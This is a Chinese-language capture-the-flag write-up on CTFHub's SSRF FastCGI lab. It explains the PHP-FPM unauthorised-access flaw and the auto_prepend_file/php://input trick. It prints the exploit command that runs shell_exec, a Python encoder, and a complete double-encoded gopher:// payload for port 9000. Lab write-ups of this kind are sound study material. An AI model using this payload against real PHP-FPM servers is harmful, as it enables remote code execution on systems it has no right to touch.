SSRF 学习之 ctfhub靶场-FastCGI

题目介绍

提示为：“这次。我们需要攻击一下 fastcgi 协议咯。也许附件的文章会对你有点帮助”

题目附件是一篇文章的链接：Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写

相关概念、漏洞解析

FastCGI 协议

相关资料解释如下：

在静态网站中，WEB 容器如 Apache、Nginx 相当于内容分发员的角色， 根据用户请求的页面从网站根目录中返回给用户；而在动态网站中，WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器；当 Apache 收到用户对 index.php 的请求后，如果使用的是 CGI，会启动对应的 CGI 程序，对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件，初始化执行环境，然后处理请求，再以规定 CGI 规定的格式返回处理后的结果，退出进程，Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程

这里说的是使用 CGI，而 FastCGI 就相当于高性能的 CGI，与 CGI 不同的是它像一个常驻的 CGI，在启动后会一直运行着，不需要每次处理数据时都启动一次， 所以这里引出下面这句概念，FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展，其主要行为是将 CGI 解释器进程保持在内存中，并因此获得较高的性能

php-fpm

那么什么是 php-fpm，官方对它的解释是 FPM（FastCGI 进程管理器）用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用；也就是说 php-fpm 是 FastCGI 的一个具体实现，并且提供了进程管理的功能在其中的进程中，包含了 master 和 worker 进程，其中 master 进程负责与 Web 服务器进行通信接收 HTTP 请求，再将请求转发给 worker 进程进行处理，worker 进程主要负责动态执行 PHP 代码，处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端。

PHP-FPM未授权访问漏洞

漏洞存在点：PHP-FPM 默认监听 9000 端口，如果这个端口暴露在公网，则我们可以自己构造 fastcgi 协议，和 fpm 进行通信

在此处需要配合 nginx (iis7) 的解析漏洞来配合

在用户访问http://127.0.0.1/favicon.ico/.php 时，访问到的文件是 favicon.ico，但却按照.php 后缀解析了，而这个指定的文件涉及到的关键变量为 "SCRIPT_FILENAME"；正常来说，SCRIPT_FILENAME 的值是一个不存在的文件 /var/www/html/favicon.ico/.php，是 PHP 设置中的一个选项 fix_pathinfo 导致了这个漏洞。PHP 为了支持 Path Info 模式而创造了 fix_pathinfo，在这个选项被打开的情况下，fpm 会判断 SCRIPT_FILENAME 是否存在，如果不存在则去掉最后一个 / 及以后的所有内容，再次判断文件是否存在，往次循环，直到文件存在

在fpm某个版本之前，我们可以将SCRIPT_FILENAME的值指定为任意后缀文件，比如/etc/passwd

但后来，fpm的默认配置中增加了一个选项security.limit_extensions：

Copy
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行，默认是.php

所以，当我们再传入/etc/passwd的时候，将会返回Access denied.

由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件，万幸的是，通常使用源安装php的时候，服务器上都会附带一些php后缀的文件

在本次靶场中，就使用到了一个自带的php文件：/usr/local/lib/php/PEAR.php

那么，控制fastcgi协议通信的内容，为什么就能执行PHP代码呢？

刚才说了，我们暂时只能控制SCRIPT_FILENAME，让fpm执行任意目标服务器上的文件，而不是我们想要其执行的文件，但在php.ini中有两个特殊的配置项auto_prepend_file和auto_append_file，前者是让PHP在执行目标文件之前，先包含该文件中指定的文件，后者让PHP执行目标文件之后包含其指向的文件。

那么加入我们设置auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了（除此之外还需要开启远程文件包含选项allow_url_include）

那么怎么设置auto_prepend_file的值？

这又涉及到PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项

（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）

最后我们设置auto_prepend_file = php://input且allow_url_include = On，将需要执行的代码放在Body中，即可执行任意代码

涉及到传入的一些关键参数如下：

Copy
{
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

给出的 exp 的链接为：https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

解题

首先，先监听9000端口来接收exp，因为PHP-FPM默认监听9000端口：nc -lvp 9000 > 1.txt

使用给出的exp执行如下命令：

Copy
python ssrf_fastcgi_fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

使用xxd 1.txt可以同时查看数据流和元数据：

使用hexdump 1.txt可以只查看数据流

这样还不能直接利用，还需把它进行url编码，用一个简单的python脚本来进行编码：

Copy
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

得到编码一次的流量，再编码一次加上gopher协议如下：

Copy
gopher://127.0.0.1:9000/\_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500

粘贴到burp中对应请求包的位置，发包请求：

如图所示，服务器根目录下存在文件flag_78839d7acd24a4329a4205195d922fb6，将命令换为查看这个文件再次执行得到最终flag

也可以使用Gopherus这个工具，相比使用exp简单一点：

参考文章：

CTFHub-SSRF 部分（已完结）

SSRF 系列之攻击 FastCGI

我在 CTFHub 学习 SSRF